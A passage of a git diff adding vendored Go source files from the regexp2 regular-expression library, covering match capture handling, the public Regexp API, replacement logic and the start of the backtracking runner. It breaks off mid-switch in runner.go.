[]Capture{m.Group.Capture} + + if m.balancing { + // The idea here is that we want to compact all of our unbalanced captures. To do that we + // use j basically as a count of how many unbalanced captures we have at any given time + // (really j is an index, but j/2 is the count). First we skip past all of the real captures + // until we find a balance captures. Then we check each subsequent entry. If it's a balance + // capture (it's negative), we decrement j. If it's a real capture, we increment j and copy + // it down to the last free position. + for cap := 0; cap < len(m.matchcount); cap++ { + limit := m.matchcount[cap] * 2 + matcharray := m.matches[cap] + + var i, j int + + for i = 0; i < limit; i++ { + if matcharray[i] < 0 { + break + } + } + + for j = i; i < limit; i++ { + if matcharray[i] < 0 { + // skip negative values + j-- + } else { + // but if we find something positive (an actual capture), copy it back to the last + // unbalanced position. + if i != j { + matcharray[j] = matcharray[i] + } + j++ + } + } + + m.matchcount[cap] = j / 2 + } + + m.balancing = false + } +} + +// isMatched tells if a group was matched by capnum +func (m *Match) isMatched(cap int) bool { + return cap < len(m.matchcount) && m.matchcount[cap] > 0 && m.matches[cap][m.matchcount[cap]*2-1] != (-3+1) +} + +// matchIndex returns the index of the last specified matched group by capnum +func (m *Match) matchIndex(cap int) int { + i := m.matches[cap][m.matchcount[cap]*2-2] + if i >= 0 { + return i + } + + return m.matches[cap][-3-i] +} + +// matchLength returns the length of the last specified matched group by capnum +func (m *Match) matchLength(cap int) int { + i := m.matches[cap][m.matchcount[cap]*2-1] + if i >= 0 { + return i + } + + return m.matches[cap][-3-i] +} + +// Nonpublic builder: add a capture to the group specified by "c" +func (m *Match) addMatch(c, start, l int) { + + if m.matches[c] == nil { + m.matches[c] = make([]int, 2) + } + + capcount := m.matchcount[c] + + if capcount*2+2 > len(m.matches[c]) { + oldmatches := m.matches[c] + newmatches := make([]int, capcount*8) + copy(newmatches, oldmatches[:capcount*2]) + m.matches[c] = newmatches + } + + m.matches[c][capcount*2] = start + m.matches[c][capcount*2+1] = l + m.matchcount[c] = capcount + 1 + //log.Printf("addMatch: c=%v, i=%v, l=%v ... matches: %v", c, start, l, m.matches) +} + +// Nonpublic builder: Add a capture to balance the specified group. This is used by the +// +// balanced match construct. (?...) +// +// If there were no such thing as backtracking, this would be as simple as calling RemoveMatch(c). +// However, since we have backtracking, we need to keep track of everything. +func (m *Match) balanceMatch(c int) { + m.balancing = true + + // we'll look at the last capture first + capcount := m.matchcount[c] + target := capcount*2 - 2 + + // first see if it is negative, and therefore is a reference to the next available + // capture group for balancing. If it is, we'll reset target to point to that capture. + if m.matches[c][target] < 0 { + target = -3 - m.matches[c][target] + } + + // move back to the previous capture + target -= 2 + + // if the previous capture is a reference, just copy that reference to the end. Otherwise, point to it. + if target >= 0 && m.matches[c][target] < 0 { + m.addMatch(c, m.matches[c][target], m.matches[c][target+1]) + } else { + m.addMatch(c, -3-target, -4-target /* == -3 - (target + 1) */) + } +} + +// Nonpublic builder: removes a group match by capnum +func (m *Match) removeMatch(c int) { + m.matchcount[c]-- +} + +// GroupCount returns the number of groups this match has matched +func (m *Match) GroupCount() int { + return len(m.matchcount) +} + +// GroupByName returns a group based on the name of the group, or nil if the group name does not exist +func (m *Match) GroupByName(name string) *Group { + num := m.regex.GroupNumberFromName(name) + if num < 0 { + return nil + } + return m.GroupByNumber(num) +} + +// GroupByNumber returns a group based on the number of the group, or nil if the group number does not exist +func (m *Match) GroupByNumber(num int) *Group { + // check our sparse map + if m.sparseCaps != nil { + if newNum, ok := m.sparseCaps[num]; ok { + num = newNum + } + } + if num >= len(m.matchcount) || num < 0 { + return nil + } + + if num == 0 { + return &m.Group + } + + m.populateOtherGroups() + + return &m.otherGroups[num-1] +} + +// Groups returns all the capture groups, starting with group 0 (the full match) +func (m *Match) Groups() []Group { + m.populateOtherGroups() + g := make([]Group, len(m.otherGroups)+1) + g[0] = m.Group + copy(g[1:], m.otherGroups) + return g +} + +func (m *Match) populateOtherGroups() { + // Construct all the Group objects first time called + if m.otherGroups == nil { + m.otherGroups = make([]Group, len(m.matchcount)-1) + for i := 0; i < len(m.otherGroups); i++ { + m.otherGroups[i] = newGroup(m.regex.GroupNameFromNumber(i+1), m.text, m.matches[i+1], m.matchcount[i+1]) + } + } +} + +func (m *Match) groupValueAppendToBuf(groupnum int, buf *bytes.Buffer) { + c := m.matchcount[groupnum] + if c == 0 { + return + } + + matches := m.matches[groupnum] + + index := matches[(c-1)*2] + last := index + matches[(c*2)-1] + + for ; index < last; index++ { + buf.WriteRune(m.text[index]) + } +} + +func newGroup(name string, text []rune, caps []int, capcount int) Group { + g := Group{} + g.text = text + if capcount > 0 { + g.Index = caps[(capcount-1)*2] + g.Length = caps[(capcount*2)-1] + } + g.Name = name + g.Captures = make([]Capture, capcount) + for i := 0; i < capcount; i++ { + g.Captures[i] = Capture{ + text: text, + Index: caps[i*2], + Length: caps[i*2+1], + } + } + //log.Printf("newGroup! capcount %v, %+v", capcount, g) + + return g +} + +func (m *Match) dump() string { + buf := &bytes.Buffer{} + buf.WriteRune('\n') + if len(m.sparseCaps) > 0 { + for k, v := range m.sparseCaps { + fmt.Fprintf(buf, "Slot %v -> %v\n", k, v) + } + } + + for i, g := range m.Groups() { + fmt.Fprintf(buf, "Group %v (%v), %v caps:\n", i, g.Name, len(g.Captures)) + + for _, c := range g.Captures { + fmt.Fprintf(buf, " (%v, %v) %v\n", c.Index, c.Length, c.String()) + } + } + /* + for i := 0; i < len(m.matchcount); i++ { + fmt.Fprintf(buf, "\nGroup %v (%v):\n", i, m.regex.GroupNameFromNumber(i)) + + for j := 0; j < m.matchcount[i]; j++ { + text := "" + + if m.matches[i][j*2] >= 0 { + start := m.matches[i][j*2] + text = m.text[start : start+m.matches[i][j*2+1]] + } + + fmt.Fprintf(buf, " (%v, %v) %v\n", m.matches[i][j*2], m.matches[i][j*2+1], text) + } + } + */ + return buf.String() +} diff --git a/backend/vendor/github.com/dlclark/regexp2/regexp.go b/backend/vendor/github.com/dlclark/regexp2/regexp.go new file mode 100644 index 0000000..a7ddbaf --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/regexp.go @@ -0,0 +1,395 @@ +/* +Package regexp2 is a regexp package that has an interface similar to Go's framework regexp engine but uses a +more feature full regex engine behind the scenes. + +It doesn't have constant time guarantees, but it allows backtracking and is compatible with Perl5 and .NET. +You'll likely be better off with the RE2 engine from the regexp package and should only use this if you +need to write very complex patterns or require compatibility with .NET. +*/ +package regexp2 + +import ( + "errors" + "math" + "strconv" + "sync" + "time" + + "github.com/dlclark/regexp2/syntax" +) + +var ( + // DefaultMatchTimeout used when running regexp matches -- "forever" + DefaultMatchTimeout = time.Duration(math.MaxInt64) + // DefaultUnmarshalOptions used when unmarshaling a regex from text + DefaultUnmarshalOptions = None +) + +// Regexp is the representation of a compiled regular expression. +// A Regexp is safe for concurrent use by multiple goroutines. +type Regexp struct { + // A match will time out if it takes (approximately) more than + // MatchTimeout. This is a safety check in case the match + // encounters catastrophic backtracking. The default value + // (DefaultMatchTimeout) causes all time out checking to be + // suppressed. + MatchTimeout time.Duration + + // read-only after Compile + pattern string // as passed to Compile + options RegexOptions // options + + caps map[int]int // capnum->index + capnames map[string]int //capture group name -> index + capslist []string //sorted list of capture group names + capsize int // size of the capture array + + code *syntax.Code // compiled program + + // cache of machines for running regexp + muRun *sync.Mutex + runner []*runner +} + +// Compile parses a regular expression and returns, if successful, +// a Regexp object that can be used to match against text. +func Compile(expr string, opt RegexOptions) (*Regexp, error) { + // parse it + tree, err := syntax.Parse(expr, syntax.RegexOptions(opt)) + if err != nil { + return nil, err + } + + // translate it to code + code, err := syntax.Write(tree) + if err != nil { + return nil, err + } + + // return it + return &Regexp{ + pattern: expr, + options: opt, + caps: code.Caps, + capnames: tree.Capnames, + capslist: tree.Caplist, + capsize: code.Capsize, + code: code, + MatchTimeout: DefaultMatchTimeout, + muRun: &sync.Mutex{}, + }, nil +} + +// MustCompile is like Compile but panics if the expression cannot be parsed. +// It simplifies safe initialization of global variables holding compiled regular +// expressions. +func MustCompile(str string, opt RegexOptions) *Regexp { + regexp, error := Compile(str, opt) + if error != nil { + panic(`regexp2: Compile(` + quote(str) + `): ` + error.Error()) + } + return regexp +} + +// Escape adds backslashes to any special characters in the input string +func Escape(input string) string { + return syntax.Escape(input) +} + +// Unescape removes any backslashes from previously-escaped special characters in the input string +func Unescape(input string) (string, error) { + return syntax.Unescape(input) +} + +// SetTimeoutPeriod is a debug function that sets the frequency of the timeout goroutine's sleep cycle. +// Defaults to 100ms. The only benefit of setting this lower is that the 1 background goroutine that manages +// timeouts may exit slightly sooner after all the timeouts have expired. See Github issue #63 +func SetTimeoutCheckPeriod(d time.Duration) { + clockPeriod = d +} + +// StopTimeoutClock should only be used in unit tests to prevent the timeout clock goroutine +// from appearing like a leaking goroutine +func StopTimeoutClock() { + stopClock() +} + +// String returns the source text used to compile the regular expression. +func (re *Regexp) String() string { + return re.pattern +} + +func quote(s string) string { + if strconv.CanBackquote(s) { + return "`" + s + "`" + } + return strconv.Quote(s) +} + +// RegexOptions impact the runtime and parsing behavior +// for each specific regex. They are setable in code as well +// as in the regex pattern itself. +type RegexOptions int32 + +const ( + None RegexOptions = 0x0 + IgnoreCase = 0x0001 // "i" + Multiline = 0x0002 // "m" + ExplicitCapture = 0x0004 // "n" + Compiled = 0x0008 // "c" + Singleline = 0x0010 // "s" + IgnorePatternWhitespace = 0x0020 // "x" + RightToLeft = 0x0040 // "r" + Debug = 0x0080 // "d" + ECMAScript = 0x0100 // "e" + RE2 = 0x0200 // RE2 (regexp package) compatibility mode + Unicode = 0x0400 // "u" +) + +func (re *Regexp) RightToLeft() bool { + return re.options&RightToLeft != 0 +} + +func (re *Regexp) Debug() bool { + return re.options&Debug != 0 +} + +// Replace searches the input string and replaces each match found with the replacement text. +// Count will limit the number of matches attempted and startAt will allow +// us to skip past possible matches at the start of the input (left or right depending on RightToLeft option). +// Set startAt and count to -1 to go through the whole string +func (re *Regexp) Replace(input, replacement string, startAt, count int) (string, error) { + data, err := syntax.NewReplacerData(replacement, re.caps, re.capsize, re.capnames, syntax.RegexOptions(re.options)) + if err != nil { + return "", err + } + //TODO: cache ReplacerData + + return replace(re, data, nil, input, startAt, count) +} + +// ReplaceFunc searches the input string and replaces each match found using the string from the evaluator +// Count will limit the number of matches attempted and startAt will allow +// us to skip past possible matches at the start of the input (left or right depending on RightToLeft option). +// Set startAt and count to -1 to go through the whole string. +func (re *Regexp) ReplaceFunc(input string, evaluator MatchEvaluator, startAt, count int) (string, error) { + return replace(re, nil, evaluator, input, startAt, count) +} + +// FindStringMatch searches the input string for a Regexp match +func (re *Regexp) FindStringMatch(s string) (*Match, error) { + // convert string to runes + return re.run(false, -1, getRunes(s)) +} + +// FindRunesMatch searches the input rune slice for a Regexp match +func (re *Regexp) FindRunesMatch(r []rune) (*Match, error) { + return re.run(false, -1, r) +} + +// FindStringMatchStartingAt searches the input string for a Regexp match starting at the startAt index +func (re *Regexp) FindStringMatchStartingAt(s string, startAt int) (*Match, error) { + if startAt > len(s) { + return nil, errors.New("startAt must be less than the length of the input string") + } + r, startAt := re.getRunesAndStart(s, startAt) + if startAt == -1 { + // we didn't find our start index in the string -- that's a problem + return nil, errors.New("startAt must align to the start of a valid rune in the input string") + } + + return re.run(false, startAt, r) +} + +// FindRunesMatchStartingAt searches the input rune slice for a Regexp match starting at the startAt index +func (re *Regexp) FindRunesMatchStartingAt(r []rune, startAt int) (*Match, error) { + return re.run(false, startAt, r) +} + +// FindNextMatch returns the next match in the same input string as the match parameter. +// Will return nil if there is no next match or if given a nil match. +func (re *Regexp) FindNextMatch(m *Match) (*Match, error) { + if m == nil { + return nil, nil + } + + // If previous match was empty, advance by one before matching to prevent + // infinite loop + startAt := m.textpos + if m.Length == 0 { + if m.textpos == len(m.text) { + return nil, nil + } + + if re.RightToLeft() { + startAt-- + } else { + startAt++ + } + } + return re.run(false, startAt, m.text) +} + +// MatchString return true if the string matches the regex +// error will be set if a timeout occurs +func (re *Regexp) MatchString(s string) (bool, error) { + m, err := re.run(true, -1, getRunes(s)) + if err != nil { + return false, err + } + return m != nil, nil +} + +func (re *Regexp) getRunesAndStart(s string, startAt int) ([]rune, int) { + if startAt < 0 { + if re.RightToLeft() { + r := getRunes(s) + return r, len(r) + } + return getRunes(s), 0 + } + ret := make([]rune, len(s)) + i := 0 + runeIdx := -1 + for strIdx, r := range s { + if strIdx == startAt { + runeIdx = i + } + ret[i] = r + i++ + } + if startAt == len(s) { + runeIdx = i + } + return ret[:i], runeIdx +} + +func getRunes(s string) []rune { + return []rune(s) +} + +// MatchRunes return true if the runes matches the regex +// error will be set if a timeout occurs +func (re *Regexp) MatchRunes(r []rune) (bool, error) { + m, err := re.run(true, -1, r) + if err != nil { + return false, err + } + return m != nil, nil +} + +// GetGroupNames Returns the set of strings used to name capturing groups in the expression. +func (re *Regexp) GetGroupNames() []string { + var result []string + + if re.capslist == nil { + result = make([]string, re.capsize) + + for i := 0; i < len(result); i++ { + result[i] = strconv.Itoa(i) + } + } else { + result = make([]string, len(re.capslist)) + copy(result, re.capslist) + } + + return result +} + +// GetGroupNumbers returns the integer group numbers corresponding to a group name. +func (re *Regexp) GetGroupNumbers() []int { + var result []int + + if re.caps == nil { + result = make([]int, re.capsize) + + for i := 0; i < len(result); i++ { + result[i] = i + } + } else { + result = make([]int, len(re.caps)) + + for k, v := range re.caps { + result[v] = k + } + } + + return result +} + +// GroupNameFromNumber retrieves a group name that corresponds to a group number. +// It will return "" for and unknown group number. Unnamed groups automatically +// receive a name that is the decimal string equivalent of its number. +func (re *Regexp) GroupNameFromNumber(i int) string { + if re.capslist == nil { + if i >= 0 && i < re.capsize { + return strconv.Itoa(i) + } + + return "" + } + + if re.caps != nil { + var ok bool + if i, ok = re.caps[i]; !ok { + return "" + } + } + + if i >= 0 && i < len(re.capslist) { + return re.capslist[i] + } + + return "" +} + +// GroupNumberFromName returns a group number that corresponds to a group name. +// Returns -1 if the name is not a recognized group name. Numbered groups +// automatically get a group name that is the decimal string equivalent of its number. +func (re *Regexp) GroupNumberFromName(name string) int { + // look up name if we have a hashtable of names + if re.capnames != nil { + if k, ok := re.capnames[name]; ok { + return k + } + + return -1 + } + + // convert to an int if it looks like a number + result := 0 + for i := 0; i < len(name); i++ { + ch := name[i] + + if ch > '9' || ch < '0' { + return -1 + } + + result *= 10 + result += int(ch - '0') + } + + // return int if it's in range + if result >= 0 && result < re.capsize { + return result + } + + return -1 +} + +// MarshalText implements [encoding.TextMarshaler]. The output +// matches that of calling the [Regexp.String] method. +func (re *Regexp) MarshalText() ([]byte, error) { + return []byte(re.String()), nil +} + +// UnmarshalText implements [encoding.TextUnmarshaler] by calling +// [Compile] on the encoded value. +func (re *Regexp) UnmarshalText(text []byte) error { + newRE, err := Compile(string(text), DefaultUnmarshalOptions) + if err != nil { + return err + } + *re = *newRE + return nil +} diff --git a/backend/vendor/github.com/dlclark/regexp2/replace.go b/backend/vendor/github.com/dlclark/regexp2/replace.go new file mode 100644 index 0000000..0376bd9 --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/replace.go @@ -0,0 +1,177 @@ +package regexp2 + +import ( + "bytes" + "errors" + + "github.com/dlclark/regexp2/syntax" +) + +const ( + replaceSpecials = 4 + replaceLeftPortion = -1 + replaceRightPortion = -2 + replaceLastGroup = -3 + replaceWholeString = -4 +) + +// MatchEvaluator is a function that takes a match and returns a replacement string to be used +type MatchEvaluator func(Match) string + +// Three very similar algorithms appear below: replace (pattern), +// replace (evaluator), and split. + +// Replace Replaces all occurrences of the regex in the string with the +// replacement pattern. +// +// Note that the special case of no matches is handled on its own: +// with no matches, the input string is returned unchanged. +// The right-to-left case is split out because StringBuilder +// doesn't handle right-to-left string building directly very well. +func replace(regex *Regexp, data *syntax.ReplacerData, evaluator MatchEvaluator, input string, startAt, count int) (string, error) { + if count < -1 { + return "", errors.New("Count too small") + } + if count == 0 { + return "", nil + } + + m, err := regex.FindStringMatchStartingAt(input, startAt) + + if err != nil { + return "", err + } + if m == nil { + return input, nil + } + + buf := &bytes.Buffer{} + text := m.text + + if !regex.RightToLeft() { + prevat := 0 + for m != nil { + if m.Index != prevat { + buf.WriteString(string(text[prevat:m.Index])) + } + prevat = m.Index + m.Length + if evaluator == nil { + replacementImpl(data, buf, m) + } else { + buf.WriteString(evaluator(*m)) + } + + count-- + if count == 0 { + break + } + m, err = regex.FindNextMatch(m) + if err != nil { + return "", nil + } + } + + if prevat < len(text) { + buf.WriteString(string(text[prevat:])) + } + } else { + prevat := len(text) + var al []string + + for m != nil { + if m.Index+m.Length != prevat { + al = append(al, string(text[m.Index+m.Length:prevat])) + } + prevat = m.Index + if evaluator == nil { + replacementImplRTL(data, &al, m) + } else { + al = append(al, evaluator(*m)) + } + + count-- + if count == 0 { + break + } + m, err = regex.FindNextMatch(m) + if err != nil { + return "", nil + } + } + + if prevat > 0 { + buf.WriteString(string(text[:prevat])) + } + + for i := len(al) - 1; i >= 0; i-- { + buf.WriteString(al[i]) + } + } + + return buf.String(), nil +} + +// Given a Match, emits into the StringBuilder the evaluated +// substitution pattern. +func replacementImpl(data *syntax.ReplacerData, buf *bytes.Buffer, m *Match) { + for _, r := range data.Rules { + + if r >= 0 { // string lookup + buf.WriteString(data.Strings[r]) + } else if r < -replaceSpecials { // group lookup + m.groupValueAppendToBuf(-replaceSpecials-1-r, buf) + } else { + switch -replaceSpecials - 1 - r { // special insertion patterns + case replaceLeftPortion: + for i := 0; i < m.Index; i++ { + buf.WriteRune(m.text[i]) + } + case replaceRightPortion: + for i := m.Index + m.Length; i < len(m.text); i++ { + buf.WriteRune(m.text[i]) + } + case replaceLastGroup: + m.groupValueAppendToBuf(m.GroupCount()-1, buf) + case replaceWholeString: + for i := 0; i < len(m.text); i++ { + buf.WriteRune(m.text[i]) + } + } + } + } +} + +func replacementImplRTL(data *syntax.ReplacerData, al *[]string, m *Match) { + l := *al + buf := &bytes.Buffer{} + + for _, r := range data.Rules { + buf.Reset() + if r >= 0 { // string lookup + l = append(l, data.Strings[r]) + } else if r < -replaceSpecials { // group lookup + m.groupValueAppendToBuf(-replaceSpecials-1-r, buf) + l = append(l, buf.String()) + } else { + switch -replaceSpecials - 1 - r { // special insertion patterns + case replaceLeftPortion: + for i := 0; i < m.Index; i++ { + buf.WriteRune(m.text[i]) + } + case replaceRightPortion: + for i := m.Index + m.Length; i < len(m.text); i++ { + buf.WriteRune(m.text[i]) + } + case replaceLastGroup: + m.groupValueAppendToBuf(m.GroupCount()-1, buf) + case replaceWholeString: + for i := 0; i < len(m.text); i++ { + buf.WriteRune(m.text[i]) + } + } + l = append(l, buf.String()) + } + } + + *al = l +} diff --git a/backend/vendor/github.com/dlclark/regexp2/runner.go b/backend/vendor/github.com/dlclark/regexp2/runner.go new file mode 100644 index 0000000..56759f1 --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/runner.go @@ -0,0 +1,1613 @@ +package regexp2 + +import ( + "bytes" + "errors" + "fmt" + "math" + "strconv" + "strings" + "time" + "unicode" + + "github.com/dlclark/regexp2/syntax" +) + +type runner struct { + re *Regexp + code *syntax.Code + + runtextstart int // starting point for search + + runtext []rune // text to search + runtextpos int // current position in text + runtextend int + + // The backtracking stack. Opcodes use this to store data regarding + // what they have matched and where to backtrack to. Each "frame" on + // the stack takes the form of [CodePosition Data1 Data2...], where + // CodePosition is the position of the current opcode and + // the data values are all optional. The CodePosition can be negative, and + // these values (also called "back2") are used by the BranchMark family of opcodes + // to indicate whether they are backtracking after a successful or failed + // match. + // When we backtrack, we pop the CodePosition off the stack, set the current + // instruction pointer to that code position, and mark the opcode + // with a backtracking flag ("Back"). Each opcode then knows how to + // handle its own data. + runtrack []int + runtrackpos int + + // This stack is used to track text positions across different opcodes. + // For example, in /(a*b)+/, the parentheses result in a SetMark/CaptureMark + // pair. SetMark records the text position before we match a*b. Then + // CaptureMark uses that position to figure out where the capture starts. + // Opcodes which push onto this stack are always paired with other opcodes + // which will pop the value from it later. A successful match should mean + // that this stack is empty. + runstack []int + runstackpos int + + // The crawl stack is used to keep track of captures. Every time a group + // has a capture, we push its group number onto the runcrawl stack. In + // the case of a balanced match, we push BOTH groups onto the stack. + runcrawl []int + runcrawlpos int + + runtrackcount int // count of states that may do backtracking + + runmatch *Match // result object + + ignoreTimeout bool + timeout time.Duration // timeout in milliseconds (needed for actual) + deadline fasttime + + operator syntax.InstOp + codepos int + rightToLeft bool + caseInsensitive bool +} + +// run searches for matches and can continue from the previous match +// +// quick is usually false, but can be true to not return matches, just put it in caches +// textstart is -1 to start at the "beginning" (depending on Right-To-Left), otherwise an index in input +// input is the string to search for our regex pattern +func (re *Regexp) run(quick bool, textstart int, input []rune) (*Match, error) { + + // get a cached runner + runner := re.getRunner() + defer re.putRunner(runner) + + if textstart < 0 { + if re.RightToLeft() { + textstart = len(input) + } else { + textstart = 0 + } + } + + return runner.scan(input, textstart, quick, re.MatchTimeout) +} + +// Scans the string to find the first match. Uses the Match object +// both to feed text in and as a place to store matches that come out. +// +// All the action is in the Go() method. Our +// responsibility is to load up the class members before +// calling Go. +// +// The optimizer can compute a set of candidate starting characters, +// and we could use a separate method Skip() that will quickly scan past +// any characters that we know can't match. +func (r *runner) scan(rt []rune, textstart int, quick bool, timeout time.Duration) (*Match, error) { + r.timeout = timeout + r.ignoreTimeout = (time.Duration(math.MaxInt64) == timeout) + r.runtextstart = textstart + r.runtext = rt + r.runtextend = len(rt) + + stoppos := r.runtextend + bump := 1 + + if r.re.RightToLeft() { + bump = -1 + stoppos = 0 + } + + r.runtextpos = textstart + initted := false + + r.startTimeoutWatch() + for { + if r.re.Debug() { + //fmt.Printf("\nSearch content: %v\n", string(r.runtext)) + fmt.Printf("\nSearch range: from 0 to %v\n", r.runtextend) + fmt.Printf("Firstchar search starting at %v stopping at %v\n", r.runtextpos, stoppos) + } + + if r.findFirstChar() { + if err := r.checkTimeout(); err != nil { + return nil, err + } + + if !initted { + r.initMatch() + initted = true + } + + if r.re.Debug() { + fmt.Printf("Executing engine starting at %v\n\n", r.runtextpos) + } + + if err := r.execute(); err != nil { + return nil, err + } + + if r.runmatch.matchcount[0] > 0 { + // We'll return a match even if it touches a previous empty match + return r.tidyMatch(quick), nil + } + + // reset state for another go + r.runtrackpos = len(r.runtrack) + r.runstackpos = len(r.runstack) + r.runcrawlpos = len(r.runcrawl) + } + + // failure! + + if r.runtextpos == stoppos { + r.tidyMatch(true) + return nil, nil + } + + // Recognize leading []* and various anchors, and bump on failure accordingly + + // r.bump by one and start again + + r.runtextpos += bump + } + // We never get here +} + +func (r *runner) execute() error { + + r.goTo(0) + + for { + + if r.re.Debug() { + r.dumpState() + } + + if err := r.checkTimeout(); err != nil { + return err + } + + switch r.operator { + case syntax.Stop: + return nil + + case syntax.Nothing: + break + + case syntax.Goto: + r.goTo(r.operand(0)) + continue + + case syntax.Testref: + if !r.runmatch.isMatched(r.operand(0)) { + break + } + r.advance(1) + continue + + case syntax.Lazybranch: + r.trackPush1(r.textPos()) + r.advance(1) + continue + + case syntax.Lazybranch | syntax.Back: + r.trackPop() + r.textto(r.trackPeek()) + r.goTo(r.operand(0)) + continue + + case syntax.Setmark: + r.stackPush(r.textPos()) + r.trackPush() + r.advance(0) + continue + + case syntax.Nullmark: + r.stackPush(-1) + r.trackPush() + r.advance(0) + continue + + case syntax.Setmark | syntax.Back, syntax.Nullmark | syntax.Back: + r.stackPop() + break + + case syntax.Getmark: + r.stackPop() + r.trackPush1(r.stackPeek()) + r.textto(r.stackPeek()) + r.advance(0) + continue + + case syntax.Getmark | syntax.Back: + r.trackPop() + r.stackPush(r.trackPeek()) + break + + case syntax.Capturemark: + if r.operand(1) != -1 && !r.runmatch.isMatched(r.operand(1)) { + break + } + r.stackPop() + if r.operand(1) != -1 { + r.transferCapture(r.operand(0), r.operand(1), r.stackPeek(), r.textPos()) + } else { + r.capture(r.operand(0), r.stackPeek(), r.textPos()) + } + r.trackPush1(r.stackPeek()) + + r.advance(2) + + continue + + case syntax.Capturemark | syntax.Back: + r.trackPop() + r.stackPush(r.trackPeek()) + r.uncapture() + if r.operand(0) != -1 && r.operand(1) != -1 { + r.uncapture() + } + + break + + case syntax.Branchmark: + r.stackPop() + + matched := r.textPos() - r.stackPeek() + + if matched != 0 { // Nonempty match -> loop now + r.trackPush2(r.stackPeek(), r.textPos()) // Save old mark, textpos + r.stackPush(r.textPos()) // Make new mark + r.goTo(r.operand(0)) // Loop + } else { // Empty match -> straight now + r.trackPushNeg1(r.stackPeek()) // Save old mark + r.advance(1) // Straight + } + continue + + case syntax.Branchmark | syntax.Back: + r.trackPopN(2) + r.stackPop() + r.textto(r.trackPeekN(1)) // Recall position + r.trackPushNeg1(r.trackPeek()) // Save old mark + r.advance(1) // Straight + continue + + case syntax.Branchmark | syntax.Back2: + r.trackPop() + r.stackPush(r.trackPeek()) // Recall old mark + break // Backtrack + + case syntax.Lazybranchmark: + { + // We hit this the first time through a lazy loop and after each + // successful match of the inner expression. It simply continues + // on and doesn't loop. + r.stackPop() + + oldMarkPos := r.stackPeek() + + if r.textPos() != oldMarkPos { // Nonempty match -> try to loop again by going to 'back' state + if oldMarkPos != -1 { + r.trackPush2(oldMarkPos, r.textPos()) // Save old mark, textpos + } else { + r.trackPush2(r.textPos(), r.textPos()) + } + } else { + // The inner expression found an empty match, so we'll go directly to 'back2' if we + // backtrack. In this case, we need to push something on the stack, since back2 pops. + // However, in the case of ()+? or similar, this empty match may be legitimate, so push the text + // position associated with that empty match. + r.stackPush(oldMarkPos) + + r.trackPushNeg1(r.stackPeek()) // Save old mark + } + r.advance(1) + continue + } + + case syntax.Lazybranchmark | syntax.Back: + + // After the first time, Lazybranchmark | syntax.Back occurs + // with each iteration of the loop, and therefore with every attempted + // match of the inner expression. We'll try to match the inner expression, + // then go back to Lazybranchmark if successful. If the inner expression + // fails, we go to Lazybranchmark | syntax.Back2 + + r.trackPopN(2) + pos := r.trackPeekN(1) + r.trackPushNeg1(r.trackPeek()) // Save old mark + r.stackPush(pos) // Make new mark + r.textto(pos) // Recall position + r.goTo(r.operand(0)) // Loop + continue + + case syntax.Lazybranchmark | syntax.Back2: + // The lazy loop has failed. We'll do a true backtrack and + // start over before the lazy loop. + r.stackPop() + r.trackPop() + r.stackPush(r.trackPeek()) // Recall old mark + break + + case syntax.Setcount: + r.stackPush2(r.textPos(), r.operand(0)) + r.trackPush() + r.advance(1) + continue + + case syntax.Nullcount: + r.stackPush2(-1, r.operand(0)) + r.trackPush() + r.advance(1) + continue + + case syntax.Setcount | syntax.Back: + r.stackPopN(2) + break + + case syntax.Nullcount | syntax.Back: + r.stackPopN(2) + break + + case syntax.Branchcount: + // r.stackPush: + // 0: Mark + // 1: Count + + r.stackPopN(2) + mark := r.stackPeek() + count := r.stackPeekN(1) + matched := r.textPos() - mark + + if count >= r.operand(1) || (matched == 0 && count >= 0) { // Max loops or empty match -> straight now + r.trackPushNeg2(mark, count) // Save old mark, count + r.advance(2) // Straight + } else { // Nonempty match -> count+loop now + r.trackPush1(mark) // remember mark + r.stackPush2(r.textPos(), count+1) // Make new mark, incr count + r.goTo(r.operand(0)) // Loop + } + continue + + case syntax.Branchcount | syntax.Back: + // r.trackPush: + // 0: Previous mark + // r.stackPush: + // 0: Mark (= current pos, discarded) + // 1: Count + r.trackPop() + r.stackPopN(2) + if r.stackPeekN(1) > 0 { // Positive -> can go straight + r.textto(r.stackPeek()) // Zap to mark + r.trackPushNeg2(r.trackPeek(), r.stackPeekN(1)-1) // Save old mark, old count + r.advance(2) // Straight + continue + } + r.stackPush2(r.trackPeek(), r.stackPeekN(1)-1) // recall old mark, old count + break + + case syntax.Branchcount | syntax.Back2: + // r.trackPush: + // 0: Previous mark + // 1: Previous count + r.trackPopN(2) + r.stackPush2(r.trackPeek(), r.trackPeekN(1)) // Recall old mark, old count + break // Backtrack + + case syntax.Lazybranchcount: + // r.stackPush: + // 0: Mark + // 1: Count + + r.stackPopN(2) + mark := r.stackPeek() + count := r.stackPeekN(1) + + if count < 0 { // Negative count -> loop now + r.trackPushNeg1(mark) // Save old mark + r.stackPush2(r.textPos(), count+1) // Make new mark, incr count + r.goTo(r.operand(0)) // Loop + } else { // Nonneg count -> straight now + r.trackPush3(mark, count, r.textPos()) // Save mark, count, position + r.advance(2) // Straight + } + continue + + case syntax.Lazybranchcount | syntax.Back: + // r.trackPush: + // 0: Mark + // 1: Count + // 2: r.textPos + + r.trackPopN(3) + mark := r.trackPeek() + textpos := r.trackPeekN(2) + + if r.trackPeekN(1) < r.operand(1) && textpos != mark { // Under limit and not empty match -> loop + r.textto(textpos) // Recall position + r.stackPush2(textpos, r.trackPeekN(1)+1) // Make new mark, incr count + r.trackPushNeg1(mark) // Save old mark + r.goTo(r.operand(0)) // Loop + continue + } else { // Max loops or empty match -> backtrack + r.stackPush2(r.trackPeek(), r.trackPeekN(1)) // Recall old mark, count + break // backtrack + } + + case syntax.Lazybranchcount | syntax.Back2: + // r.trackPush: + // 0: Previous mark + // r.stackPush: + // 0: Mark (== current pos, discarded) + // 1: Count + r.trackPop() + r.stackPopN(2) + r.stackPush2(r.trackPeek(), r.stackPeekN(1)-1) // Recall old mark, count + break // Backtrack + + case syntax.Setjump: + r.stackPush2(r.trackpos(), r.crawlpos()) + r.trackPush() + r.advance(0) + continue + + case syntax.Setjump | syntax.Back: + r.stackPopN(2) + break + + case syntax.Backjump: + // r.stackPush: + // 0: Saved trackpos + // 1: r.crawlpos + r.stackPopN(2) + r.trackto(r.stackPeek()) + + for r.crawlpos() != r.stackPeekN(1) { + r.uncapture() + } + + break + + case syntax.Forejump: + // r.stackPush: + // 0: Saved trackpos + // 1: r.crawlpos + r.stackPopN(2) + r.trackto(r.stackPeek()) + 